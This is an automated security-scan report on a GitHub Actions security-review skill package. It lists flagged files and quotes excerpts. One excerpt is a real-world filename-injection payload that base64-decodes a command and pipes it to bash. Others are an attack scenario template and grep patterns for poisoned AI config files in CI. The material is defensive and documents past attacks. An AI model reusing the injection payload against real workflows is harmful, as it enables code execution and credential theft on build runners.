gha-security-review

Fail

Audited by Runlayer on Mar 5, 2026

Risk Level: HIGH
Scan Summary
Max Score
96%
Files
10
Flagged
9
Chunks
15
Flagged Files (9)
gha-security-review/references/runner-infrastructure.mdHIGH
95.9%

Malicious tool definition detected

gha-security-review/references/expression-injection.mdHIGH
93.0%

Malicious tool definition detected

Description: `github.event.inputs.*` (workflow_dispatch) | Requires write access — not an external threat | | `github.event.commits[*].message` (push to protected) | Requires write access | --- ## Exploitation Scenario Template ``` ATTACK: Expression Injection via [source] ENTRY: Attacker creates [PR/issue/comment] with payload in [field] PAYLOAD: [exact string the attacker provides] TRIGGER: Workflow [file:line] runs on [event], expression at line [N] expands to shell code EXECUTION: Shell inte

gha-security-review/references/real-world-attacks.mdHIGH
91.6%

Malicious tool definition detected

--- ## Attack 4: DataDog/datadog-iac-scanner — Filename Injection **Category:** Expression Injection **Target:** DataDog repository ### Attack Base64-encoded shell commands embedded in filenames: ``` documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md ``` When the workflow iterated over modified files using `${{ }}`, the filename was interpreted as a shell command. ### Response DataDog deployed emergency fixes within 9 hours (PR #9, Feb 27).

**Expression injection:** 3 of 7 attacks used `${{ }}` injection --- ## Using This Reference When you confirm a finding in a review, reference the most similar real-world attack: - Pwn request → awesome-go or trivy (depending on credential scope) - Expression injection → microsoft/ai-discovery-agent or DataDog - Comment command → project-akri - AI config poisoning → ambient-code/platform - Credential theft → trivy (worst-case scenario) Include the real-world precedent in your finding to help sta

gha-security-review/references/ai-prompt-injection-via-ci.mdMEDIUM
86.0%

Malicious tool definition detected

## Detection Patterns ```bash # Find workflows using AI agents grep -rn "claude-code-action\|copilot\|openai\|anthropic" .github/workflows/ # Check if they use pull_request_target (fork code access) grep -B10 "claude-code-action\|copilot" .github/workflows/*.yml | grep "pull_request_target" # Check permissions granted to AI workflows grep -B20 "claude-code-action" .github/workflows/*.yml | grep "permissions" -A5 # Find config files that could be poisoned ls -la CLAUDE.md AGENTS.md .cursorrules .

gha-security-review/references/credential-escalation.mdMEDIUM
84.0%

Malicious tool definition detected

gha-security-review/SKILL.mdMEDIUM
81.6%

Malicious tool definition detected

Research the codebase as needed to trace complete attack paths before reporting. ### Files to Review - `.github/workflows/*.yml` — all workflow definitions - `action.yml` / `action.yaml` — composite actions in the repo - `.github/actions/*/action.yml` — local reusable actions - Config files loaded by workflows: `CLAUDE.md`, `AGENTS.md`, `Makefile`, shell scripts under `.github/` ### Out of Scope - Workflows in other repositories (only note the dependency) - GitHub App installation permissions (n

gha-security-review/references/pwn-request.mdMEDIUM
76.7%

Malicious tool definition detected

gha-security-review/references/comment-triggered-commands.mdLOW
73.8%

Malicious tool definition detected

gha-security-review/references/supply-chain.mdLOW
62.0%

Tool passed security scan

Passed Files (1)Click to expand
gha-security-review/references/permissions-and-secrets.mdOK
45.4%

Tool passed security scan

Audit Metadata
Max File Score
96%
Classification
UNKNOWN_SERVER
Files Scanned
10
Files Flagged
9
Chunks Analyzed
15
Analyzed
Mar 5, 2026, 03:27 PM
Security Audit — runlayer — gha-security-review